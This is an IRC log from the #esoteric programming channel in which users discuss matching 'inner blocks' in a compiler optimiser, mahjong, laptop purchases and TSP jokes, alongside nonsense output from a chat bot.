a, b are allowed anywhere. < 1393808798 629268 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Internally the program has a table of flags for instructions, and the branches are any instruction with the "IF_predicate" flag set ("IF" means "Instruction Flag"). There are various other flags too, mainly used for optimization although they have other purposes too. < 1393808831 58551 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(Ah, I had IF = interactive fiction) < 1393808859 985017 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :int-e: Well, that isn't how it works; to simplify it I am not doing things like that; "skip:" then also needs a branch target from "i:" to do like that. < 1393808907 189510 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :zzo38: right, I forgot the come from for the skip label. < 1393808938 144783 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :that wasn't the point, the point was that some code could jump over the a: label. < 1393808989 926763 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes, it is possible for code to jump over other labels. < 1393808999 97750 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :There isn't anything against that. < 1393809022 59102 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :The code between them then won't constitute an "inner block", but that is OK. < 1393809253 241830 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :So here's you inner block then, formally: Each branch a: [branch b:] defines a *branch interval* from labels a (inclusive) to label b (exclusive) if it's a forward jump; from labels b to a, both inclusive, if it's a backward jump. An inner block is an interval I that for each branch interval B, I fully contains B, B fully contains I, or B and I are disjoint. < 1393809289 482 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :The idea is I am trying to pattern match one or more instructions which are specified in the pattern, followed by an inner block (which may have further restrictions placed, depending on the pattern), and then the rest of the pattern specifies what instructions come after that block, and then to replace it using another pattern. < 1393809362 405172 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :[Oh I need some additional care there, at the interval boundaries. Icky, but it doesn't look *too* horrible.] < 1393809407 880990 :JWinslow23!18a7c7d4@gateway/web/freenode/ip.24.167.199.212 JOIN :#esoteric < 1393809417 258185 :JWinslow23!18a7c7d4@gateway/web/freenode/ip.24.167.199.212 PRIVMSG #esoteric :ohai pplz < 1393809441 927524 :JWinslow23!18a7c7d4@gateway/web/freenode/ip.24.167.199.212 PRIVMSG #esoteric :Anyone here with ears, speak up. < 1393809463 103147 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :JWinslow23: Ears is not enough for speaking up. < 1393809469 777260 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`relcome JWinslow23 < 1393809471 223244 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​04JWinslow23: 07Welcome 08to 09the 02international 06hub 13for 04esoteric 07programming 08language 09design 02and 06deployment! 13For 04more 07information, 08check 09out 02our 06wiki: 13. 04(For 07the 08other 09kind 02of 06esoterica, 13try 04#esoteric 07on 08irc.dal.net.) < 1393809486 440355 :JWinslow23!18a7c7d4@gateway/web/freenode/ip.24.167.199.212 PRIVMSG #esoteric :I meant "Can you hear stuff?". < 1393809488 157198 :JWinslow23!18a7c7d4@gateway/web/freenode/ip.24.167.199.212 PRIVMSG #esoteric ::p < 1393809489 282881 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ears are astonishingly useless with standard IRC interfaces. < 1393809496 857025 :JWinslow23!18a7c7d4@gateway/web/freenode/ip.24.167.199.212 PRIVMSG #esoteric :Anyways, here is my voice for you... < 1393809497 499896 :JWinslow23!18a7c7d4@gateway/web/freenode/ip.24.167.199.212 PRIVMSG #esoteric :http://www.mediafire.com/listen/eo3s4eg2794rack/WinningSongJosiahW.wav < 1393809502 495640 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(I don't have a screenreader) < 1393809504 910721 :JWinslow23!18a7c7d4@gateway/web/freenode/ip.24.167.199.212 PRIVMSG #esoteric :I multitracked myself. < 1393809564 749534 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have figured that I could find an inner block by keeping track of what is the first instruction in the block, and then to keep track of what instruction is mentioned which is closest to the end, and requiring the target to be earlier than the last instruction in the block. Would this work? < 1393809823 190728 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(In addition, depending on what it is doing, it may also have to keep track of stack effect and so on) < 1393809826 26959 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1393809875 659169 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :good randomized evening. < 1393809881 15723 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :One thing I am not sure of is how to encode the additional conditions. < 1393809888 885035 :JWinslow23!18a7c7d4@gateway/web/freenode/ip.24.167.199.212 QUIT :Ping timeout: 245 seconds < 1393810095 80275 :Bicyclidine!45a62f6e@gateway/web/freenode/ip.69.166.47.110 PRIVMSG #esoteric :oh yeah, well good DETERMINIST evening to you, JERK < 1393810129 998664 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :zzo38: some idea, which in retrospect sounds like what you described, as python pseudo-code: http://sprunge.us/YMHK?python < 1393810207 77155 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oh. wrong. end == cur should be end <= cur. < 1393810284 423330 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :int-e: Yes, this is mainly like what I am doing, actually. What I don't quite know is how to encode all of the additional conditions that are needed, such as local and global variables reading/writing, not doing I/O, and various other things, as parameters to the subroutine which finds it. < 1393810326 797519 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :. o O ( make it a higher order function. ) < 1393810358 823482 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1393810372 770672 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes I suppose that would be one way. < 1393810497 336528 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net JOIN :#esoteric < 1393810548 886388 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Bicyclidine: I played mahjong today. I embodied randomness, embraced it, welcomed it in my brain. < 1393810592 988581 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :zzo38: So I guess I'd start with some regex-like matching language (with basic building blocks that can match instructions), where instructions can be matched in two modes: one that ignores it for 'inner block' tracking, and one where it's taken into account for inner block tracking. < 1393810655 319869 :Bicyclidine!45a62f6e@gateway/web/freenode/ip.69.166.47.110 PRIVMSG #esoteric :ACTION hisses < 1393810739 160199 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ACTION considers sleep, and approves of the idea. < 1393810771 17746 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION throws a green dragon tile at Bicyclidine, misses, hits int-e on the head an puts him in a coma. < 1393810787 492191 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Should I read an Agda tutorial to understand dependent typing? < 1393810792 477879 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I prefer Idris < 1393810795 928595 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I haven't actually played mahjong recently < 1393810800 711103 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Cumulative universes seem like a good idea) < 1393810845 671964 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :boily: Have you ever looked at Washizu mahjong at all? I have a set of pieces for playing Washizu mahjong. < 1393810889 702220 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :zzo38: I know what it is, but never played it. < 1393810907 946121 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION is shopping for a laptop. «Maudit que ça coûte cher avoir de quoi de décent au Canada!» < 1393810978 550418 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Once I played Washizu mahjong at anime convention. < 1393810997 917579 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :We each played two hands and kept score in a separate sheet of paper. < 1393811027 611055 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I have a kilogram of poker chips for mahjong scoring. < 1393811086 795588 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :zzo38: have you ever bought a laptop in Canada? < 1393811090 298742 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I don't own many poker chips. I do have the sticks for mahjong scoring, but I used the paper for keeping track of hit-points (in normal mahjong, you would still use it, to keep track of match points, instead). < 1393811103 764538 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have never bought a laptop anywhere. < 1393811170 302121 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :we very rarely use the sticks. I find them confusing. < 1393811194 573797 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(except that one time that guy had some brightly coloured sticks. it was better.) < 1393811627 552007 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :holy fungot. I clicked on the confirm order button. < 1393811627 775280 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: snatches of what i have to tell. glancing at these pictures as i took them from the pencil shorthand: < 1393811656 345532 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fungot: the pictures and specs convinced me. plus there was a 30$ sale going on. not much, but it's better than nothing. < 1393811656 548478 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: of unplumbed space. the old tracks crossed river street at grade, and on the clear nights the pole star leered as never before. this time the other odor ahead. paradoxically, it was observed to sink into a well, and some clambering down through networks of limestone caverns in the hollow hills and left the old bed toward the ocean as it blazed in the spectral half-light where the giant trees squirmed and twisted grotesqu < 1393811656 733908 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Quit: Lost terminal < 1393811671 270030 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net JOIN :#esoteric < 1393811723 135347 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ouch. a new digit appeared in front of my credit card bill. < 1393811806 318819 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Remote host closed the connection < 1393812019 160874 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :quintopia: quinthellopia! < 1393812260 20932 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1393812396 322861 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :boily!!!! < 1393812428 511701 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i'm setting up a new computer < 1393812432 352994 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I just bought a laptop! I have to wait! my heart is racing! I'm drinking お酒! < 1393812433 861159 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :it comes with windows 8 < 1393812437 669328 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :bleh :P < 1393812460 88347 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :mine comes with ubuntu 13.10! < 1393812462 956196 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :well i want a windows computer. but i may set it up to be dual boot later < 1393812483 350561 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :meantime, i can play all those windows-only games i've been meaning to play for years < 1393812508 60600 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :let' < 1393812514 840031 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :s see if it's done configuring itself yet... < 1393812535 42685 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :nope < 1393812620 195 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I need to find a way to get a pack of 40A-L o-ring dampeners shipped to Canada. my new teammates dislike my new mechanical keyboard. < 1393812834 779217 :Bicyclidine!45a62f6e@gateway/web/freenode/ip.69.166.47.110 PRIVMSG #esoteric :my netbook only had ubuntu 12. oh no. < 1393812848 854550 :Bicyclidine!45a62f6e@gateway/web/freenode/ip.69.166.47.110 PRIVMSG #esoteric :i am... The Inferior Consumer < 1393812887 253972 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I am... the Recenter Consumer. < 1393812968 178515 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(also, there's a strong possibility that I'll just archlinuxify it the moment I can get my mittengraben on it.) < 1393812997 105212 :Bicyclidine!45a62f6e@gateway/web/freenode/ip.69.166.47.110 PRIVMSG #esoteric :do the ubuntu 13 ones have unity too? < 1393813054 539458 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :no idea. I'm a loyal fluxbox user, so all that gnome 3 stuff and suchlike is pretty unknown to me. < 1393813184 923317 :Bicyclidine!45a62f6e@gateway/web/freenode/ip.69.166.47.110 PRIVMSG #esoteric :well i mean, preinstalled. < 1393813209 635084 :Bicyclidine!45a62f6e@gateway/web/freenode/ip.69.166.47.110 PRIVMSG #esoteric :i probably won't totally install a new distro. i'll just flay this one. < 1393813222 675806 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :they say it comes with 13.10. that's as much as I know. < 1393813236 322223 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(btw, it's a galago from system 76 I bought.) < 1393813503 495305 :Bicyclidine!45a62f6e@gateway/web/freenode/ip.69.166.47.110 PRIVMSG #esoteric :...so have you not turned the thing on yet? or did you just put in an arch bootdrive without looking at ubuntu < 1393813548 221677 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :it hasn't arrived yet < 1393813552 373976 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :obvi < 1393813560 339362 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :"I have to wait!" < 1393813579 513244 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :okay let's see if chrome is done installing < 1393813581 659866 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Quit: leaving < 1393813595 737446 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :oh so close < 1393813735 130347 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :can one install firefox on a chromeos machine? < 1393813794 436054 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i don't know! i'll ask boriss! < 1393813832 328383 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :Boriss doesn't know! sorry! < 1393813875 347236 :metasepia!~metasepia@96.127.201.149 JOIN :#esoteric < 1393813879 208431 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :~duck boriss < 1393813880 293550 :metasepia!~metasepia@96.127.201.149 PRIVMSG #esoteric :Antonina Georgievna Borissova (19031977) was a Russian botanist, specialising in the flora of the deserts and semi-desert of central Asia. < 1393813894 744437 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :quintopia: wut? < 1393814175 848472 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :boriss works at mozilla < 1393814205 338520 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oh. < 1393814210 446699 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fungot: where do you work? < 1393814210 632781 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: above these apparent hieroglyphics was a figure of evident pictorial intent, though carter well knew that such a sound as their stinking green ichor oozed fnord upon that porous earth with the obscene fungi. < 1393814239 527905 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fungot: ancient socio-microbiology of the fungus? < 1393814239 713000 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: document modified: contrasted views of the outer beings and had later killed himself, but elwood could form no guess; and it cost us a genuine pang to leave this probably crippled old fnord a lone survivor to the peril of recapture and a nameless thing had dropped from an overhanging tree into a fnord sleep from which i thought i had seen the sad remains of their ill-made cottages as i passed them by with the party, open < 1393814242 560176 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i know a dude who works at google also but i doubt he works on chromeos... < 1393814264 769723 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :^style < 1393814264 991299 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft* nethack pa qwantz sms speeches ss wp youtube < 1393814269 943370 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ah < 1393814279 171609 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :no wonder it seemed so MELODRAMATIC < 1393814296 592049 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :^style qwantz < 1393814296 776979 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Selected style: qwantz (Dinosaur Comics transcriptions 2003-2011) < 1393814303 180142 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :MOAR HUMOR < 1393814309 910779 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :^style oots < 1393814310 95915 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Not found. < 1393814323 962817 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :poor oots < 1393814326 244580 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fizzie: I am sad. your infamous bot doesn't have an oots style. < 1393814330 793706 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :we don't have a transcription! < 1393814342 261138 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :someone should do it manually! < 1393814348 873265 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :okay how about you! < 1393814354 478787 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :not me. I have the Wisdom to take care of. < 1393814372 194876 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :and not me because i am not an ootser < 1393814388 530755 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :fungot: please transcribe oots AUTOMAGICALLY < 1393814388 863086 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :quintopia: oh, that may be a fact; it is impossible to know if my dream, everything had turned into plasticine! do i like it because it's so delicious because i like to keep my own counsel. < 1393814415 211117 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :quintopia: fungot is eating plasticine. I don't think he'll be of much help there. < 1393814415 395919 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: different ways to say " no, i will definitely not love: not the same: the judge of that!" < 1393814428 962221 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :there is a dinosaur comics about lucy in the sky with diamonds? now i want to go read DC < 1393814672 775937 :mauris!~nooodl@91.177.108.54 QUIT :Ping timeout: 265 seconds < 1393814718 743669 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :okay now i am ircing via chrome < 1393814720 786462 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :on windows < 1393814724 957609 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :hurray? < 1393814796 238632 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :hurray. < 1393814807 675226 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(murray too, if you happen to like skulls.) < 1393814841 938855 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :http://www.qwantz.com/index.php?comic=272 < 1393814957 948326 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :bill murray? < 1393815006 365146 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :murray, as in that skull from Monkey Island, and as it happens in DCSS too. < 1393815017 848690 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :when you buy an eel pie but the eel bites your eye...that's a moray! < 1393815110 419510 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :... < 1393815122 93600 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION lightly mapoles quintopia < 1393815263 856305 :Bicyclidine!45a62f6e@gateway/web/freenode/ip.69.166.47.110 QUIT :Ping timeout: 245 seconds < 1393815277 683081 :boily!~boily@96.127.201.149 QUIT :Quit: Payeen to a Twang \\ Derrida \\ Ore-Ida \\ potato. \\ If you dared, \\ I'd ask you \\ to go dig \\ up your ides under brown- \\ tubered skies. \\ where pitchforked \\ you will ask \\ Derrida? < 1393815290 932851 :metasepia!~metasepia@96.127.201.149 QUIT :Remote host closed the connection < 1393815382 698330 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Wonder if 3dna is a bit like a 3d version of Microsoft Bob < 1393815393 184626 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Which doesn't really stop me from liking 3dna < 1393815606 371524 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1393815643 315004 :Sellyme!~Sellyme@fluttershy.is.bestpony.tk JOIN :#esoteric < 1393816100 520549 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :why doesn't boily leave metasepia running when he goes to bed :? < 1393816850 749924 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :How should a pattern for matching the sequence of instructions be formatted? < 1393816999 417944 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :bah! < 1393817094 668096 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :3-deoxyribonucleic acid < 1393817125 485025 :constant!root@freebsd/developer/variable NICK :variable < 1393817389 787940 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I should totally buy Fitznik and Fitznik 2 < 1393817399 228685 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I remember a friend helping me solve a Fitznik level < 1393817407 348549 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net QUIT :Quit: Leaving < 1393817428 402 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net JOIN :#esoteric < 1393817812 204978 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric ::( I can't find where to buy it < 1393817818 547344 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :CNET linked me to dexterity.com < 1393817912 440604 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1393817998 478637 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.sodaware.net/games/fitznik/ < 1393818187 786153 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 244 seconds < 1393818410 991367 :Gracenotes!~person@192.241.203.42 QUIT :Changing host < 1393818411 176249 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1393819437 892459 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1393819981 631033 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://arxiv.org/abs/1402.7301 < 1393820489 799339 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :The largest TSP instance so far that has been solved optimally has 85,900 vertices. < 1393820508 803549 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :let me break the world record < 1393820610 802817 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :consider the labeled directed graph (\{0,\ldots,85900\},\{(i,i+1) (mod 86901)\},(i \mapsto 1)) < 1393820668 589274 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :its only hamiltonian cycle is (up to a rotation), (0,\ldots,85900,0), by considering the possible continuations from 0 < 1393820697 506200 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :the distance traveled is 85901 < 1393820732 351012 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :did i succeed? < 1393820745 318267 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :"Its solution required more than 136 years of total CPU time using the branch-and-cut based Concorde TSP code [1]" < 1393820746 472268 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :silly. < 1393820751 321723 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :sometimes my brain amazes me < 1393820952 379388 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :Bike: if you think that's silly, please supply a sensible meaning to their sentence < 1393820959 862941 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :otherwise, i'm claiming my prize < 1393820977 883958 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i'm calling the nobel dudes as we speak < 1393821029 447639 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :ACTION is p excited even < 1393821032 176498 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :gonna go out on a limb here and guess that in tsp studies they imply random or otherwise nontrivial graphs < 1393821067 544794 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :alternately we could assume the authors are fucking stupid < 1393821227 457798 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :well i'm sad to say that i'm generally not at all surprised to find a claim that stupid in a research article, although i don't think this was such < 1393821228 143459 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :the citation has a pretty cover http://press.princeton.edu/titles/8451.html < 1393821260 894009 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :this is arxiv, not vixra, know what i mean < 1393821650 830203 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :the "random" is a bit tricky too, often there are multiple natural distributions. if you take n vertices and choose distances uniformly from [0, 2^n), do you get something hard? it could be that because you have only polynomially many edges in there, the gaps are actually big enough that any greedy algorithm is likely to give you the optimal path < 1393821697 495738 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :wait maybe you should take the distances uniformly from [0, n) < 1393821748 321082 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i guess TSP is hard even then because even hamiltonian is, i guess big numbers are only needed in subset sum problem family < 1393821812 501929 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i meant random like throwing a bunch of needles at a floor or something. < 1393821815 584339 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :no need 4 thought < 1393821879 360314 :password2!~password@197.78.166.46 JOIN :#esoteric < 1393821921 406546 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :ah, you must be referring to the needle throwing axiom which posits that every set has a natural distribution < 1393821934 62815 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :known to be independent of both AoC and the axiom of determinacy < 1393821970 885036 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :meant to say *inconsistent with < 1393822188 440897 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Needle throwing axiom? < 1393822195 462130 :rambomedic!~rambomedi@108-217-109-227.lightspeed.irvnca.sbcglobal.net JOIN :#esoteric < 1393822241 512671 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :yeah AN, introduced by Kalenius in a seminal irc log some minutes ago < 1393822321 456000 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :How is it "known to be independent of both AoC and the axiom of determinacy"? Prove it. < 1393822348 443631 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :if you want me to leave i can do that. < 1393822375 567183 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :Bike: i am joking. < 1393822380 522149 :rambomedic!~rambomedi@108-217-109-227.lightspeed.irvnca.sbcglobal.net PRIVMSG #esoteric :wtf is < 1393822381 382553 :rambomedic!~rambomedi@108-217-109-227.lightspeed.irvnca.sbcglobal.net PRIVMSG #esoteric :this < 1393822700 432741 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :the needle throwing axiom lets you say "random" without specifying a distribution. it's the wet dream of every mathematician and whatnot. similar to axiom of choice and determinacy, but the dream is even wetter, and unfortunately makes little sense. < 1393822839 576839 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :(Bike probably just meant that they have some specific graph in mind which they took "randomly" in some sense and it seemed canonical enough; or something. just for the record, i'm not making fun of him, in case he's getting pissed or something.) < 1393822861 938896 :tertu!~quassel@143.44.65.14 QUIT :Read error: Connection reset by peer < 1393822868 236158 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1393823528 713718 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1393823589 151967 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Someone wrote: "I am amazed that more computer scientists do not reject evolutionary biology out of hand. A cells CPU, the ribosome, perfectly fits the definition of a Turing Machine, including I/O and memory. Computer science, specifically the Computability Theory, proves that the output of a Turing Machine cannot predict the input to it the results cannot create the programming - yet the "theory of evolution" relies on this happening!" < 1393823601 253219 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :That's silly; it isn't Turing complete. < 1393823705 816751 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :"the output of a Turing Machine cannot predict the input to it the results cannot create the programming" < 1393823738 958827 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :what does that mean? < 1393823771 879725 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I don't know. < 1393823790 830957 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I was hoping you know. < 1393823894 623525 